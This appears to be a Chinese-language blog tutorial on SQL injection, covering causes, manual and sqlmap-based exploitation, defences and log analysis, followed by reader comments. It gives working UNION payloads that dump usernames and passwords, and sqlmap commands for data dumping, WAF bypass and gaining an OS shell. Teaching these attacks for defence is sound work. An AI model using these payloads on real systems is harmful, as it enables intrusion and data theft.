摘要:SQL 注入常年占据 OWASP Top 10 榜首,是 Web 安全中最常见、危害最大的漏洞之一。本文通过真实案例,系统讲解 SQL 注入的原理、检测、利用和防御全流程。
一、什么是 SQL 注入?
2025 年某大型电商平台遭遇 SQL 注入攻击,攻击者通过商品搜索框注入恶意 SQL 语句,获取了 50 万用户的个人信息。这并非个例,根据 Veracode 报告,46% 的应用存在 SQL 注入风险。
SQL 注入的本质:用户输入被当作 SQL 代码执行。
1.1 漏洞成因
// 危险代码示例 $userid = $_GET["id"]; $sql = "SELECT * FROM users WHERE id = $userid"; $result = mysqli_query($conn, $sql);
当用户访问 `?id=1 OR 1=1` 时,SQL 变为:

SELECT * FROM users WHERE id = 1 OR 1=1
结果:返回所有用户数据!
1.2 注入类型
| 类型 | 特点 | 检测难度 |
|---|---|---|
| 联合查询注入 | 使用 UNION 合并结果 | 容易 |
| 盲注 | 无回显,通过响应时间判断 | 中等 |
| 报错注入 | 利用数据库错误信息 | 容易 |
| 时间盲注 | 通过 SLEEP() 延时判断 | 困难 |
二、实战:手工检测 SQL 注入
2.1 基础测试
# 测试点:搜索框、URL 参数、表单输入
# 测试 payload ?id=1 ?id=1' ?id=1" ?id=1 AND 1=1 ?id=1 AND 1=2
判断标准:
- 页面正常 → 可能存在注入
- 报错 → 可能存在注入
- 页面异常 → 可能无注入
2.2 联合查询注入
# 判断字段数 ?id=1 ORDER BY 1-- ?id=1 ORDER BY 2-- ?id=1 ORDER BY 3-- # 当 ORDER BY 4 时报错 → 字段数为 3
# 确定显示位 ?id=-1 UNION SELECT 1,2,3-- # 页面显示 2 和 3 → 这两个是显示位
# 获取数据库信息 ?id=-1 UNION SELECT 1,database(),version()--
# 获取表名 ?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# 获取列名 ?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name="users"--
# 获取数据 ?id=-1 UNION SELECT 1,group_concat(username,":",password),3 FROM users--
三、自动化:SQLMap 使用指南
3.1 基础扫描
# 检测注入点 sqlmap -u "http://target.com/page?id=1"
# 获取数据库 sqlmap -u "http://target.com/page?id=1" --dbs
# 获取表 sqlmap -u "http://target.com/page?id=1" -D database --tables
# 获取列 sqlmap -u "http://target.com/page?id=1" -D database -T users --columns
# 获取数据 sqlmap -u "http://target.com/page?id=1" -D database -T users -C username,password --dump
3.2 高级用法
# POST 注入 sqlmap -u "http://target.com/login" --data="username=admin&password=123"
# Cookie 注入 sqlmap -u "http://target.com/page" --cookie="sessionid=abc123"
# 绕过 WAF sqlmap -u "http://target.com/page?id=1" --tamper=space2comment
# 获取 shell sqlmap -u "http://target.com/page?id=1" --os-shell
四、SQL 注入防御方案
4.1 参数化查询(推荐)
// ✅ 正确做法
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(["id" => $_GET["id"]]);
$user = $stmt->fetch();
4.2 输入验证
// 白名单验证
$allowed_ids = [1, 2, 3, 4, 5];
if (!in_array($_GET["id"], $allowed_ids)) {
die("非法参数");
}
// 类型转换 $id = intval($_GET["id"]);
4.3 ORM 框架
// Laravel Eloquent $user = User::find($id);
// ThinkPHP $user = Db::name("users")->find($id);
五、应急响应:发现 SQL 注入后
5.1 紧急处置
1. 立即下线受影响页面 2. 修改数据库密码 3. 检查数据库是否被篡改 4. 分析日志确定攻击范围 5. 修复漏洞并重新上线
5.2 日志分析
# 查找 SQL 注入特征
grep -E "UNION|SELECT|AND 1=1|SLEEP(" access.log
# 统计攻击 IP grep "SELECT" access.log | awk "{print $1}" | sort | uniq -c | sort -rn
六、总结
SQL 注入防御核心:永远不要信任用户输入
防御优先级
1. 参数化查询(必须)
2. 输入验证(必须)
3. 最小权限原则(推荐)
4. WAF 防护(辅助)
---
作者:爪
分类:Web 安全
标签:SQL 注入、Web 安全、渗透测试、漏洞挖掘、安全防御
发布时间:2026-04-06

上海市 1F
盲注那块还是不太会判断,有简单的方法吗?
北京市 B1
@ 时光旅者 盲注看响应时间就行,延时明显基本就能确定。
北京市 2F
参数化查询才是正道,之前踩过拼接的坑。
日本 3F
数据库密码改了还得清日志,不然后患无穷。
印度 4F
union注入现在多数都被过滤了吧?
马来西亚 5F
学开发的时候根本没人讲这些安全问题。
黑龙江省哈尔滨市 6F
那个圆柱形服务器看着还挺帅,hhh
江苏省南京市 7F
50万用户信息…这波也太离谱了。
越南 8F
预编译语句其实也能用,更安全点。
湖北省武汉市 B1
@ 海豚骑士 预编译和参数化其实是一回事吧?有点迷。
日本 9F
之前测试的时候用过UNION注入,确实好用。
广东省广州市 10F
看半天还是有点晕,新手太难了。
韩国 11F
那POST请求怎么测?
重庆市 12F
还行
上海市松江区 13F
WAF辅助也太弱了吧…
北京市 14F
之前被人搞过SQL注入,看完终于知道怎么防了。
贵州省贵阳市 B1
@ 农夫吴 同被搞过,数据全导出,心都凉了。
辽宁省鞍山市海城市 15F
SQL注入真不是闹着玩的,五十万人隐私啊。
北京市 16F
这玩意也太危险了吧,搜个东西都能中招?
湖南省株洲市 17F
POST测起来比GET还简单,抓包改数据就行。
中国 18F
之前搞渗透时用sqlmap一把梭,爽到飞起。
山东省淄博市 19F
感觉WAF就是纸糊的,绕一下就没了。